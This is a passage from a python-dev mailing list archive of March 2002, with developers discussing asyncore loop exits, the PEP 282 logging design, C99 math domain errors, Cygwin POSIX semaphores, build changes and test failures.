References: <E16oT8J-0000YB-00@ute.mems-exchange.org>
 <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>
 <20020322182053.GB2122@ute.mems-exchange.org>
Message-ID: <15515.30432.253111.67749@slothrop.zope.com>

>>>>> "AMK" == Andrew Kuchling <akuchlin@mems-exchange.org> writes:

  AMK> To sum up, it looks like this isn't a bug, and the test program
  AMK> should be raising a RereadConfiguration exception instead of
  AMK> relying on details of asyncore's loop.  That also means
  AMK> asyncore doesn't need a way to be told to exit its loop, since
  AMK> raising an exception does the job nicely and Pythonically.

Raising the exception only works from inside a signal handler, right?

I've seen code in ZEO that works really hard to exit the asyncore loop
and relies on knowing how the socket map is implemented.  I think it
does asyncore.socket_map.clear() to make sure that the next time
around, asyncore won't find anything to do.

Jeremy



From tim.one@comcast.net  Fri Mar 22 18:50:44 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 13:50:44 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15515.29638.773054.450300@anthem.wooz.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCIENDOGAA.tim.one@comcast.net>

[Barry A. Warsaw]
> I think Jeremy has a good point here.  IME, logging itself is
> unnecessary for for many Python programs, be they library modules or
> simple scripts.

It seems that having a logger module *at all* is a YAGNI for 99% of users
99% of the time.  That suggests that, if it's a good idea to have one
anyway, it should cater to the 1% of users who need it 1% of the time.  This
makes me uncomfortable about rejecting requirements from people who actually
use logging heavily.  Else we're going to reinvent parsermodule:  all the
basic pieces appear to be there, and only someone who actually needs its
facilities will find out they've got to write a ton of stuff on top of it
before getting something truly usable.



From smurf@noris.de  Fri Mar 22 19:21:29 2002
From: smurf@noris.de (Matthias Urlichs)
Date: Fri, 22 Mar 2002 20:21:29 +0100
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIENDOGAA.tim.one@comcast.net>; from tim.one@comcast.net on Fri, Mar 22, 2002 at 01:50:44PM -0500
References: <15515.29638.773054.450300@anthem.wooz.org> <LNBBLJKPBEHFEDALKOLCIENDOGAA.tim.one@comcast.net>
Message-ID: <20020322202128.R20310@noris.de>

Hi,

Tim Peters:
> It seems that having a logger module *at all* is a YAGNI for 99% of users
> 99% of the time.  That suggests that, if it's a good idea to have one
> anyway, it should cater to the 1% of users who need it 1% of the time.  This

I disagree.

How many programs write to stderr with some undefined stuff which is
either too much or not enough information? Probably lots.

The next user then wants to use that same program as a daemon and needs to
figure out how to get the stuff to Syslog safely.

The next one wants to use it as a module, link it into HTTP and needs to
figure out how to package some of the text into an HTML error message.

Thus, my take is that as soon as you have a sensible system to do logging
with, far more than the 1% of people who "need logging" now will adapt to
it.

> makes me uncomfortable about rejecting requirements from people who actually
> use logging heavily.

I'd make the simple stuff easy and the complicated stuff possible.
This approach suggests that the PEP in its current form is too
complicated:

- Formatters are associated with handlers -- it makes no sense to
  XML-format a Syslog message, and the default is going to be "msg % args"
  anyway.

- Filters are handlers which don't print anything. Instead, they throw a
  StopLogging exception.

Thoughts?

-- 
Matthias Urlichs     |     noris network AG     |     http://smurf.noris.de/
-- 
The price of success in philosophy is triviality.
		-- C. Glymour.


From rushing@nightmare.com  Fri Mar 22 19:55:09 2002
From: rushing@nightmare.com (Sam Rushing)
Date: 22 Mar 2002 11:55:09 -0800
Subject: [medusa] Re: [Python-Dev] Re: asyncore 2.1.1/2.2 incompatibility
In-Reply-To: <15515.30432.253111.67749@slothrop.zope.com>
References: <E16oT8J-0000YB-00@ute.mems-exchange.org>
 <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>
 <20020322182053.GB2122@ute.mems-exchange.org>
 <15515.30432.253111.67749@slothrop.zope.com>
Message-ID: <1016826909.92648.4591.camel@fang.nightmare.com>

--=-Kc3AM7na1IVhufN86Hz0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Fri, 2002-03-22 at 10:24, Jeremy Hylton wrote:
> I've seen code in ZEO that works really hard to exit the asyncore loop
> and relies on knowing how the socket map is implemented.  I think it
> does asyncore.socket_map.clear() to make sure that the next time
> around, asyncore won't find anything to do.

I've had success in another event-loop-based system with using a global
'_exit' variable along with an exception.

    try:
        while 1:
            now =3D get_now()
            sched.run_scheduled()
            while sched.num_pending():
                sched.swap_and_run()
                destroy_threads()
            if _exit:
                raise EXIT
            sched.kevent (2500, 30)
    except EXIT:
        pass

-Sam


--=-Kc3AM7na1IVhufN86Hz0
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQA8m4wc96I2VlFshRwRAks/AJ9wwH3CBIsyi5d4RxtaZnkjWrpV9wCfdyJ0
0hg+qUqJqw4ZoMOhsEt/9Ck=
=8Zmx
-----END PGP SIGNATURE-----

--=-Kc3AM7na1IVhufN86Hz0--



From martin@v.loewis.de  Fri Mar 22 19:51:30 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 22 Mar 2002 20:51:30 +0100
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <2mwuw4naf2.fsf@starship.python.net>
References: <BIEJKCLHCIOIHAGOKOLHKECFCOAA.tim.one@comcast.net>
 <2mwuw4naf2.fsf@starship.python.net>
Message-ID: <m3r8mcwfct.fsf@mira.informatik.hu-berlin.de>

Michael Hudson <mwh@python.net> writes:

> > Is something extraordinary required to make that possible?  I had in mind
> > nothing fancier than
> > 
> > extern void _PyMalloc_DebugCheckAddress(void* p);
> 
> Dunno.  I ought to learn how to use gdb properly.

That should work fine from gdb. You need a well-known entry point
(i.e. no macros), and you need "scalar" arguments (i.e. no memory
allocation, structures, etc). Passing void* works fine if you know the
integer value of the address.

Regards,
Martin


From martin@v.loewis.de  Fri Mar 22 19:57:40 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 22 Mar 2002 20:57:40 +0100
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2m4rj825e3.fsf@starship.python.net>
References: <2m4rj825e3.fsf@starship.python.net>
Message-ID: <m3k7s4wf2j.fsf@mira.informatik.hu-berlin.de>

Michael Hudson <mwh@python.net> writes:

> OS: HP-UX B.11.00
> 
> Seems to have unicode difficulties.

Do you have a SF report for that?

Martin


From paul@svensson.org  Fri Mar 22 20:06:06 2002
From: paul@svensson.org (Paul Svensson)
Date: Fri, 22 Mar 2002 15:06:06 -0500 (EST)
Subject: [Python-Dev] Re: PEP 282 comments
Message-ID: <Pine.LNX.4.44.0203221505150.5900-100000@familjen.svensson.org>

On Fri, 22 Mar 2002, Jeremy Hylton wrote:

>This makes me want to ask a more fundamental question.  What are the
>expected use cases for the standard logging module(s)?  Who is the
>customer?

Not sure I can answer that question, but here's a little user story:

I'm currently involved in the development of a significantly sized
24/7/365 transaction processing system (not written in Python,
unfortunately (not my decision)), with a need to log various
anomalies in various ways.  Somewhat simplified, we have five levels,
CRITICAL, ERROR, WARNING, INFORMATION, and DEBUG, that need to be
distributed to alarm panels, operator consoles, tech support pagers,
daily reports, the hardware warehouse inventory system, and of course
log files.

One practical thing in a large system is that the more severe a problem,
the higher management gets involved in resolving it, and the simpler
it needs to be presented to be understood.  Thus, call tracebacks or
similar intimate system details would never be shown with anything but
a DEBUG level, so if the function used to log an exception should
have a hardcoded a logging level, DEBUG would be the obvious one.

	/Paul





From akuchlin@mems-exchange.org  Fri Mar 22 20:08:24 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 22 Mar 2002 15:08:24 -0500
Subject: [Python-Dev] Re: asyncore 2.1.1/2.2 incompatibility
In-Reply-To: <15515.30432.253111.67749@slothrop.zope.com>
References: <E16oT8J-0000YB-00@ute.mems-exchange.org> <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net> <20020322182053.GB2122@ute.mems-exchange.org> <15515.30432.253111.67749@slothrop.zope.com>
Message-ID: <20020322200824.GA2407@ute.mems-exchange.org>

On Fri, Mar 22, 2002 at 01:24:32PM -0500, Jeremy Hylton wrote:
>Raising the exception only works from inside a signal handler, right?

I don't see why it would.  handle_read_event and handle_write_event
can raise the asyncore.ExitNow exception to terminate the main loop.
A signal handler should also raise ExitNow, in case it's unlucky and
fires within a handle_*_event() method.

(Boy, do we ever need an asyncore HOWTO.)

--amk                                                             (www.amk.ca)
Good place to put things, cellars.
    -- The Doctor, in "Remembrance of the Daleks"


From guido@python.org  Fri Mar 22 20:12:32 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 15:12:32 -0500
Subject: [Python-Dev] YAGNI
In-Reply-To: Your message of "Fri, 22 Mar 2002 12:56:40 EST."
 <20020322175639.GA8028@panix.com>
References: <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net> <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com> <20020321193747.C26767@ActiveState.com> <15514.32145.635345.602512@slothrop.zope.com> <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net> <15515.24321.873351.581748@slothrop.zope.com> <200203221703.g2MH3PJ12004@pcp742651pcs.reston01.va.comcast.net>
 <20020322175639.GA8028@panix.com>
Message-ID: <200203222012.g2MKCWv12914@pcp742651pcs.reston01.va.comcast.net>

> +1 on "80%"
> 
> Three reasons:
> 
> * "Explicit is better than implicit"

Yes.

> * YAGNI is a falsehood when directed at someone who does need the
> feature, even though you're using the plural "you"

Yeah, the "you" is sort of generic.

> * I can never remember what YAGNI stands for; it's not that common, even
> here on python-dev

But it will be.  I can't stop using it. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Fri Mar 22 20:19:24 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 15:19:24 -0500
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2melick8f4.fsf@starship.python.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCEENMOGAA.tim.one@comcast.net>

[Hye-Shik Chang, reports on a particular sqrt implementation]
> ...
>> I'll submit PR to both of FreeBSD and NetBSD.

[Michael Hudson]
> I'm not sure it's a problem.  I believe it depends on whether you
> believe in C89 or C99, for instance.

It's cute:  even in C99, an implementation must treat sqrt(negative_number)
as a domain error.  However, under C99 rules:

    On a domain error, the function returns an implementation-defined
    value; whether the integer expression errno acquires the value
    EDOM is implementation-defined.

So while it's mandatory that an implementation detect that sqrt(-1) is a
domain error case, there's no x-platform way defined anymore for the library
to communciate the error condition to the caller.

That's why the exception test isn't run by default:  C doesn't supply any
x-platform error facility Python can build on anymore.  Python tries to
guess whether a range error occurred ("most of the time", C99 stilll
requires that HUGE_VAL specifically get returned then), but there's no way
to guess about domain errors short of Python hard-coding its own rules about
the proper domain on a function by function basis.

Do that, and in the end you get a library that still honks off IEEE-754 fans
anyway (which has its own elaborate and precise rules for dealing with fp
exceptions).

can't-win-without-more-work-than-anyone-will-give-it-ly y'rs  - tim



From tim.one@comcast.net  Fri Mar 22 20:57:53 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 15:57:53 -0500
Subject: [Python-Dev] YAGNI
In-Reply-To: <20020322175639.GA8028@panix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEENPOGAA.tim.one@comcast.net>

[Aahz]
> ...
> * I can never remember what YAGNI stands for; it's not that common,
> even here on python-dev

That's why it's needed here, although it came from a culture building
payroll apps, not programming infrastructure.  Heck, if Unix dweebs had
applied YAGNI, ls wouldn't have 51 useless options <wink>.



From skip@pobox.com  Fri Mar 22 21:09:46 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 22 Mar 2002 15:09:46 -0600
Subject: [Python-Dev] YAGNI
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEENPOGAA.tim.one@comcast.net>
References: <20020322175639.GA8028@panix.com>
 <LNBBLJKPBEHFEDALKOLCEENPOGAA.tim.one@comcast.net>
Message-ID: <15515.40346.895359.87869@12-248-41-177.client.attbi.com>

    Tim> Heck, if Unix dweebs had applied YAGNI, ls wouldn't have 51 useless
    Tim> options <wink>.

I believe the first couple Unix programmers did, though I doubt they thought
of it in precisely that acronym.  It was the masses that followed (probably
influenced by some expatriate VMS programmers) who got carried away with
adding thirty-leven options to every little filter. <wink><wink>

Skip


From tim@zope.com  Fri Mar 22 21:16:30 2002
From: tim@zope.com (Tim Peters)
Date: Fri, 22 Mar 2002 16:16:30 -0500
Subject: [Python-Dev] RE: POSIX thread code and Cygwin
In-Reply-To: <GBEGLOMMCLDACBPKDIHFEEINCHAA.gsw@agere.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEOCOGAA.tim@zope.com>

[Gerald S. Williams]
> I submitted another patch to the POSIX threads code.
> It is under SourceForge as patch number 533681.
>
> This tells Python to explicitly use the POSIX semaphore
> code for Cygwin. I had inadvertently left a remnant in
> my version of thread.c that forced _POSIX_SEMAPHORES to
> be defined for Cygwin.
>
> It turns out _POSIX_SEMAPHORES is only set if __rtems__
> is defined. At the time I didn't know what that meant
> but thought it must have been defined since I got the
> correct code.

I don't understand.  If Cygwin requires _rtems_ in order that
_POSIX_SEMAPHORES be defined, then either Cygwin has a bug here, or Cygwin
*needs* _rtems_ if you want to use real-time gimmicks like semaphores.  In
either case, I don't think it's Python's place to second-guess the Cygwin
team:  report it as a bug to Cygwin, or do whatever they recommend to get
_rtems_ defined in the Cygwin build.



From esr@thyrsus.com  Fri Mar 22 21:21:11 2002
From: esr@thyrsus.com (Eric S. Raymond)
Date: Fri, 22 Mar 2002 16:21:11 -0500
Subject: [Python-Dev] YAGNI
In-Reply-To: <15515.40346.895359.87869@12-248-41-177.client.attbi.com>; from skip@pobox.com on Fri, Mar 22, 2002 at 03:09:46PM -0600
References: <20020322175639.GA8028@panix.com> <LNBBLJKPBEHFEDALKOLCEENPOGAA.tim.one@comcast.net> <15515.40346.895359.87869@12-248-41-177.client.attbi.com>
Message-ID: <20020322162111.A3719@thyrsus.com>

Skip Montanaro <skip@pobox.com>:
> I believe the first couple Unix programmers did, though I doubt they thought
> of it in precisely that acronym.  It was the masses that followed (probably
> influenced by some expatriate VMS programmers) who got carried away with
> adding thirty-leven options to every little filter. <wink><wink>

No, it wasn't the masses.  It was the FSF.

At this point, most people have forgotten what the Unix toolkit was
like before the GNU project replaced most of it.  Many, many fewer
options per filter...
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>


From guido@python.org  Fri Mar 22 21:28:25 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 16:28:25 -0500
Subject: [Python-Dev] YAGNI
In-Reply-To: Your message of "Fri, 22 Mar 2002 15:09:46 CST."
 <15515.40346.895359.87869@12-248-41-177.client.attbi.com>
References: <20020322175639.GA8028@panix.com> <LNBBLJKPBEHFEDALKOLCEENPOGAA.tim.one@comcast.net>
 <15515.40346.895359.87869@12-248-41-177.client.attbi.com>
Message-ID: <200203222128.g2MLSPM13335@pcp742651pcs.reston01.va.comcast.net>

>     Tim> Heck, if Unix dweebs had applied YAGNI, ls wouldn't have 51 useless
>     Tim> options <wink>.
> 
> I believe the first couple Unix programmers did, though I doubt they thought
> of it in precisely that acronym.  It was the masses that followed (probably
> influenced by some expatriate VMS programmers) who got carried away with
> adding thirty-leven options to every little filter. <wink><wink>
> 
> Skip

I remember that way back at CWI we called "the BSD disease" -- after
our sysadmin had installed 4.0 BSD on our VAX, we were appalled by the
code size growth of most common utilities.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Fri Mar 22 21:31:15 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 22 Mar 2002 15:31:15 -0600
Subject: [Python-Dev] YAGNI
In-Reply-To: <20020322162111.A3719@thyrsus.com>
References: <20020322175639.GA8028@panix.com>
 <LNBBLJKPBEHFEDALKOLCEENPOGAA.tim.one@comcast.net>
 <15515.40346.895359.87869@12-248-41-177.client.attbi.com>
 <20020322162111.A3719@thyrsus.com>
Message-ID: <15515.41635.765264.115058@12-248-41-177.client.attbi.com>

    Eric> Skip Montanaro <skip@pobox.com>:
    >> It was the masses that followed (probably influenced by some
    >> expatriate VMS programmers) who got carried away with adding
    >> thirty-leven options to every little filter. <wink><wink>

    Eric> No, it wasn't the masses.  It was the FSF.

I'm willing to go along with that idea as well.  ;-)

the-FSF-never-met-a-megabyte-it-didn't-like-ly, y'rs,

Skip


From gsw@agere.com  Fri Mar 22 21:34:31 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 22 Mar 2002 16:34:31 -0500
Subject: [Python-Dev] RE: POSIX thread code and Cygwin
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEOCOGAA.tim@zope.com>
Message-ID: <GBEGLOMMCLDACBPKDIHFCEIOCHAA.gsw@agere.com>

Tim Peters wrote:
> I don't understand.  If Cygwin requires _rtems_ in order that
> _POSIX_SEMAPHORES be defined, then either Cygwin has a bug here, or Cygwin
> *needs* _rtems_ if you want to use real-time gimmicks like semaphores.  In
> either case, I don't think it's Python's place to second-guess the Cygwin
> team:  report it as a bug to Cygwin, or do whatever they recommend to get
> _rtems_ defined in the Cygwin build.

_rtems_ is actually from newlib, not Cygwin.s

Here's the comment I added to SourceForge:

Before _POSIX_SEMAPHORES is specified by default for 
Cygwin, it will probably have to be shown that it is 100% 
compliant with POSIX. Whether or not this is the case, the 
POSIX semaphore implementation is the one that should be 
used for Cygwin (it has been verified and approved by the 
Cygwin Python maintainer, etc.).

Prior to this, threading had been disabled for Cygwin 
Python, so this is really more of a port-to-Cygwin than a 
workaround. This could have been implemented in a new file 
(thread_cygwin.h), although during implementation it was 
discovered that the change for Cygwin would also benefit 
POSIX semaphore users in general.

The threading module overall is highly platform-specific, 
especially with regard to redefining POSIX symbols for 
specific platforms. In particular, this is done for the 
following platforms:
 __DGUX
 __sgi
 __ksr__
 anything using SOLARIS_THREADS
 __MWERKS__

However, except for those using SOLARIS_THREADS, these are 
specified in thread.c. I will therefore resubmit the patch 
as a change to thread.c instead.

The reference to __rtems__ actually comes from newlib, 
which Cygwin uses. It doesn't apply to Cygwin.

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From Jack.Jansen@oratrix.com  Fri Mar 22 23:31:52 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 23 Mar 2002 00:31:52 +0100
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2m4rj825e3.fsf@starship.python.net>
Message-ID: <FD0942DA-3DEC-11D6-860B-003065517236@oratrix.com>

On vrijdag, maart 22, 2002, at 12:44 , Michael Hudson wrote:
> Hardware: Mac
> OS: MacOS 8.1
>
> Doesn't work at all apparently :( A linking problem.  I hope Jack can
> sort this out -- certainly noone else can.
>
> Oh, apparently it's fixed, but it doesn't work on 8.5, or something...

This is the classic problem of trying to go forward (OSX 10.1) 
and backward (OS 8.1) at the same time. I'm pretty sure I can 
fix it.
>
> OS: MacOS 9
>
> I doubt Jack would have let me release c1 if this hadn't worked :)

MacOS 9 has the sqrt(-1) problem as well. Never noticed it 
because the standard test suite doesn't run this test, 
apparently.

> OS: MacOSX
>
> Has the same test_math problem as FreeBSD/x86 (which is perhaps not so
> surprising).
>
> Everything else is fine, except on sf's compile farm machine, which
> seems to be fubarred anyway.

I saw reports of test_pwd failing on other architectures in the 
sf compile farm too. Maybe something funny in their setup?

--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From martin@v.loewis.de  Fri Mar 22 23:25:55 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 23 Mar 2002 00:25:55 +0100
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEENMOGAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEENMOGAA.tim.one@comcast.net>
Message-ID: <m3elicw5fg.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> It's cute:  even in C99, an implementation must treat sqrt(negative_number)
> as a domain error.  However, under C99 rules:
> 
>     On a domain error, the function returns an implementation-defined
>     value; whether the integer expression errno acquires the value
>     EDOM is implementation-defined.

Is that the final text? My copy says

       On a domain error, the function returns an
       implementation-defined value; if the integer expression
       math_errhandling & MATH_ERRNO is nonzero, the integer
       expression errno acquires the value EDOM; if the integer
       expression math_errhandling & MATH_ERREXCEPT is nonzero, the
       ``invalid'' floating-point exception is raised.

but it comes from a draft only (99-04). If this is what C99 says, you
actually can tell, in C, whether checking errno will help indicating
the error.

> Do that, and in the end you get a library that still honks off
> IEEE-754 fans anyway (which has its own elaborate and precise rules
> for dealing with fp exceptions).

If the C implementation also implements Annex F, IEEE-754 fans should
be satisfied, no?

Regards,
Martin



From tim.one@comcast.net  Fri Mar 22 23:46:36 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 18:46:36 -0500
Subject: [Python-Dev] Buidling on insane platforms
Message-ID: <LNBBLJKPBEHFEDALKOLCCEPGOGAA.tim.one@comcast.net>

Following up on a threat I made earlier, I've fiddled my (Windows) build so
that:

+ obmalloc.c is now compiled directly.  It's no longer #include'd by
  object.c.

+ All the _PyMalloc_XXX entry points are physically inside obmalloc.c
  now (not some in object.c, and others in obmalloc.c).

This was easy to get working under the Windows build because I knew how to
do it <wink>.  In staring at setup.py, though, I find I have no idea how to
get it to work on your platform (let alone on the Mac).  I find it hard to
believe it could just work by magic.

Do Unixish boxes still use Makefile.pre.in?  If I add

		Objects/obmnalloc.o \

to the OBJECT_OBJS definition there, and remove this now-pointless line:

Objects/object.o: $(srcdir)/Objects/object.c $(srcdir)/Objects/obmalloc.c

is that enough?

Goodness knows nobody hesitates to break the Windows build <wink>, but I'd
just as soon not break yours if I can help it.



From martin@v.loewis.de  Fri Mar 22 23:35:14 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 23 Mar 2002 00:35:14 +0100
Subject: [Python-Dev] RE: POSIX thread code and Cygwin
In-Reply-To: <GBEGLOMMCLDACBPKDIHFCEIOCHAA.gsw@agere.com>
References: <GBEGLOMMCLDACBPKDIHFCEIOCHAA.gsw@agere.com>
Message-ID: <m3adt0w4zx.fsf@mira.informatik.hu-berlin.de>

"Gerald S. Williams" <gsw@agere.com> writes:

> Before _POSIX_SEMAPHORES is specified by default for 
> Cygwin, it will probably have to be shown that it is 100% 
> compliant with POSIX. 

Please don't guess in such matters; this is not very convincing.

The Posix spec says this:

  An implementation that claims conformance to this Feature Group
  shall set the macro _XOPEN_REALTIME to a value other than -1. An
  implementation that does not claim conformance shall set
  _XOPEN_REALTIME to -1.

  The POSIX Realtime Extension defines the following symbolic
  constants and their meaning:

  ...
  _POSIX_SEMAPHORES
      Implementation supports the Semaphores option.

So the right way to not claim conformance is to set _XOPEN_REALTIME,
not to not set _POSIX_SEMAPHORES.

> The threading module overall is highly platform-specific, 
> especially with regard to redefining POSIX symbols for 
> specific platforms. 

Yes, this is a terrible thing. I think most of it should be ripped
out, since nobody can verify anymore which of this #ifdef mess is
still in use, and still doing the right thing on the platforms on
which it is activated.

Standards are there to implement them if they are useful, and to
simplify life of users of these standards; anybody not following
standards when they exist deserves to lose.

In any case, this #ifdef maze should not be extended.

Regards,
Martin


From nas@python.ca  Fri Mar 22 23:57:25 2002
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 22 Mar 2002 15:57:25 -0800
Subject: [Python-Dev] Buidling on insane platforms
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEPGOGAA.tim.one@comcast.net>; from tim.one@comcast.net on Fri, Mar 22, 2002 at 06:46:36PM -0500
References: <LNBBLJKPBEHFEDALKOLCCEPGOGAA.tim.one@comcast.net>
Message-ID: <20020322155725.A13073@glacier.arctrix.com>

Tim Peters wrote:
> Do Unixish boxes still use Makefile.pre.in?  If I add
> 
> 		Objects/obmnalloc.o \
> 
> to the OBJECT_OBJS definition there, and remove this now-pointless line:
> 
> Objects/object.o: $(srcdir)/Objects/object.c $(srcdir)/Objects/obmalloc.c
> 
> is that enough?

That should do it.

  Neil


From tim.one@comcast.net  Fri Mar 22 23:57:43 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 18:57:43 -0500
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <m3elicw5fg.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEPIOGAA.tim.one@comcast.net>

[Martin]
> Is that the final text? My copy says
>
>        On a domain error, the function returns an
>        implementation-defined value; if the integer expression
>        math_errhandling & MATH_ERRNO is nonzero, the integer
>        expression errno acquires the value EDOM; if the integer
>        expression math_errhandling & MATH_ERREXCEPT is nonzero, the
>        ``invalid'' floating-point exception is raised.
>
> but it comes from a draft only (99-04).

Mine also comes from a draft, dated 2000-08-07.  Jeremy bought the final
std, but good luck hassling him to look stuff up for us <wink>.

> If this is what C99 says, you actually can tell, in C, whether checking
> errno will help indicating the error.

And when it doesn't, we're back to guessing.  We already take advantage of
sqrt(-1) setting EDOM on those platforms where it does.  I don't see any
simplification.

> If the C implementation also implements Annex F, IEEE-754 fans should
> be satisfied, no?

Python doesn't know anything about Annex F now -- those facilities may as
well not exist given our current code.  Python's users are in two very
different camps too:  some want sqrt(-1) to blow up, and others want to get
back a NaN without exception.  Similarly for overflow and divide-by-zero,
etc.  C99 + Annex F is, from Python's current POV, just another unique
platform Python knows nothing about.



From jeremy@zope.com  Fri Mar 22 23:58:57 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 22 Mar 2002 18:58:57 -0500
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <m3elicw5fg.fsf@mira.informatik.hu-berlin.de>
References: <LNBBLJKPBEHFEDALKOLCEENMOGAA.tim.one@comcast.net>
 <m3elicw5fg.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15515.50497.746446.213962@slothrop.zope.com>

>>>>> "MvL" == Martin v Loewis <martin@v.loewis.de> writes:

  MvL>        On a domain error, the function returns an
  MvL>        implementation-defined value; if the integer expression
  MvL>        math_errhandling & MATH_ERRNO is nonzero, the integer
  MvL>        expression errno acquires the value EDOM; if the integer
  MvL>        expression math_errhandling & MATH_ERREXCEPT is nonzero,
  MvL>        the ``invalid'' floating-point exception is raised.

  MvL> but it comes from a draft only (99-04). If this is what C99
  MvL> says, you actually can tell, in C, whether checking errno will
  MvL> help indicating the error.

The final text also says this.  (Setion 7.12.1.)

Jeremy



From nas@python.ca  Sat Mar 23 00:05:00 2002
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 22 Mar 2002 16:05:00 -0800
Subject: [Python-Dev] test_strftime broken?
Message-ID: <20020322160459.A13142@glacier.arctrix.com>

I get:

    strftime test for Fri Mar 22 18:59:49 2002
    Strftime test, platform: linux2, Python version: 2.3a0
    Conflict for %b (abbreviated month name):
      Expected Jan, but got Mar
    Conflict for %B (full month name):
      Expected January, but got March
    Supports nonstandard '%c' format (near-asctime() format)
    Supports nonstandard '%x' format (%m/%d/%y %H:%M:%S)
    Supports nonstandard '%Z' format (time zone name)
    Supports nonstandard '%D' format (mm/dd/yy)
    Supports nonstandard '%e' format (day of month as number, blank padded (
    0-31))
    Conflict for nonstandard '%h' format (abbreviated month name):
      Expected Jan, but got Mar

It goes on and on for many lines.

  Neil


From tim.one@comcast.net  Sat Mar 23 00:09:23 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 19:09:23 -0500
Subject: [Python-Dev] test_strftime broken?
In-Reply-To: <20020322160459.A13142@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEPKOGAA.tim.one@comcast.net>

It's also broken on Windows.  I'll get to it after I undo my fix to the
fileobject.c breakage you checked in and then backed out <wink>.



From tim@zope.com  Sat Mar 23 00:16:14 2002
From: tim@zope.com (Tim Peters)
Date: Fri, 22 Mar 2002 19:16:14 -0500
Subject: [Python-Dev] RE: [ python-Bugs-533234 ] tm_isdst > 1 Passed to strftime.
In-Reply-To: <E16oYyF-00082T-00@usw-sf-web1.sourceforge.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEPKOGAA.tim@zope.com>

A reminder that nobody should check in anything without running the test
suite on their box first.  At least two checkins today from two different
people have broken the tests even on their boxes <wink>.

The test_strftime mess is explicated in

    http://python.org/sf/533234



From guido@python.org  Sat Mar 23 01:00:23 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 20:00:23 -0500
Subject: [Python-Dev] Shedding load
Message-ID: <200203230100.g2N10Np19371@pcp742651pcs.reston01.va.comcast.net>

I'm swamped in email.  I find I can barely get through a day's email
in a day.  So I've decided to cut some high-volume sources of mail: I
no longer read the SF bugs and patches lists, and I see the checkins
list as a digest.

If you see a SF patch or bug that deserves my attention, simply assign
it to me; SF then sends me an email alerting of its existence, and I
believe also subscribes me to any future changes of that specific
patch or bug.

I'm hoping this will make me a little more productive!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From akuchlin@mems-exchange.org  Sat Mar 23 01:44:41 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 22 Mar 2002 20:44:41 -0500
Subject: [Python-Dev] -C in Setup files
Message-ID: <20020323014440.GA2676@ute.mems-exchange.org>

Pete Shinners reported that Distutils doesn't treat the -C option in a
